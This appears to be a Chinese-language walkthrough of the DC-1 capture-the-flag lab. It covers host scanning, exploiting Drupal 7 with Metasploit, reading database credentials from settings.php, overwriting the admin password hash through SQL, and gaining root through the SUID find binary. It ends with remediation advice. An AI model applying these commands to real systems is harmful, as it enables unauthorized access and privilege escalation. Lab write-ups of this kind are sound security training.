DC-1渗透测试复现
目的:
获取最高权限以及5个flag
过程:
信息打点-cms框架漏洞利用-数据库-登入admin-提权
环境:
攻击机:kali(192.168.85.136)
靶机:DC_1(192.168.85.131)
复现:
一.信息收集
扫描同网段存活的主机
nmap -sP 192.168.85.0/24
或者:
arp-scan -l
发现 192.168.85.131主机存活 进行 扫描 发现 80 (网页) 22 (ssh)连接 111端口(sun),
使用Awvs进行网页扫描 得到服务器和脚本语言
使用 whatweb进行扫描发现 该cms为 Drupal 7
然后进行web网页目录的扫描,发现没有啥可利用的
总结:
1.目标IP为192.168.85.131
2. 目标开启的端口有80 22 111端口 其中80端口为一个网页登入页面,22可使用于ssh连接,111带端口也有漏洞利用,web目录扫描有个robots.txt感觉无利用价值
3.目标IP系统为Unix系统,且 服务器为阿帕奇,cms为Drupal 7 脚本语言为PHP等
二 .寻找漏洞
能够利用的漏洞 先从80端口网页开始,弱口令都登入不了 且登入错误次数过多会进行IP的登入限制,注入也试了无果,尝试22端口进行ssh连接 由于不知道对方用户的用户名 密码 尝试一些基本的弱密码登入无果,然后开始就看框架 阿帕奇的框架漏洞很多,我们先看cms的Drupal 7漏洞利用
发现 可以利用msf进行远程登入
三.漏洞利用
启动msf搜寻Drupal利用模块
找paylaod
配置攻击
获得交互
四.目标主机的信息收集
发现flag1
Every good CMS needs a config file - and so do you.
说的是就让你找CMS的config 配置文件
或者模糊查询
cat `find / -name settings.php`
得到flag2
* flag2* Brute force and dictionary attacks aren't the
暴力破解和字典攻击不是* only ways to gain access (and you WILL need access).
只有获得访问权限的方法(你将需要访问权限)。* What can you do with these credentials?
你能用这些证书做什么?
还有数据库的信息、得到数据库的账号密码以及当前库名
连接mysql 进入数据库一查究竟
mysql -udbuser -pR0ck3t
发现 users表
可以看密码了
一看就是加密后的形式 有点像base+hash
那就去寻找加密的文件
在/script找到了 password-hash.sh文件
打开看看
$passwords = array();// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {switch ($param) {case '--root':// Change the working directory.$path = array_shift($_SERVER['argv']);if (is_dir($path)) {chdir($path);}break;default:// Add a password to the list to be processed.$passwords[] = $param;break;}
}define('DRUPAL_ROOT', getcwd());include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';foreach ($passwords as $password) {print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");
那还不简单吗 自己设置一个自己想要的密码就行了,然后去数据库替换admin的密码不就好了
得到wenda加密后的密码
$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK
那就回数据库更新密码了
update users set pass = "$S$DnoWasVbfj0/V7Dzv9Ma1Ru.6Y1YqHe4n6PCO9zwI1Rg5/fvjstK" where name = 'admin' ;
然后登入网页 寻找到了flag3
特殊的 PERMS 将帮助找到密码 - 但您需要执行该命令才能弄清楚如何获取shadow中的内容
那就去看shadow和passwd文件呗 ,发现了flag4 以及文件的路径/home/flag4
我们访问/home/flag4 终于扎到了flag4
Can you use this same method to find or access the flag in root?
在root目录下找flag
Probably. But perhaps it's not that easy. Or maybe it is?
可能。但也许没那么容易。也许是这样?
五.提权
访问无权限
终于到了提权的环节了 ,直接find寻找具有suid的指令试试
find / -perm -u=s -type f 2>/dev/null //查看具有suid权限的命令find / -perm -4000 2>/dev/null //这个也可以
发现 find可以使用
find拥有suid权限位,尝试以find命令执行whoami
find `which find` -exec whoami \;
ok啊 root用户
直接变成root用户吧
find / -exec "/bin/bash" -p \;
然后找到了最后一个flag
收工
六.修复
1.关闭不必要的22,111危险端口,或者更换端口号
2.将Drupal更新最新版
3.不能随意泄露敏感文件信息
4.取消一些能够提权的函数权限
5.数据库的账号密码不应该以明文形式存入到配置信息中,将数据库密码存储在环境变量中,而不是直接在代码中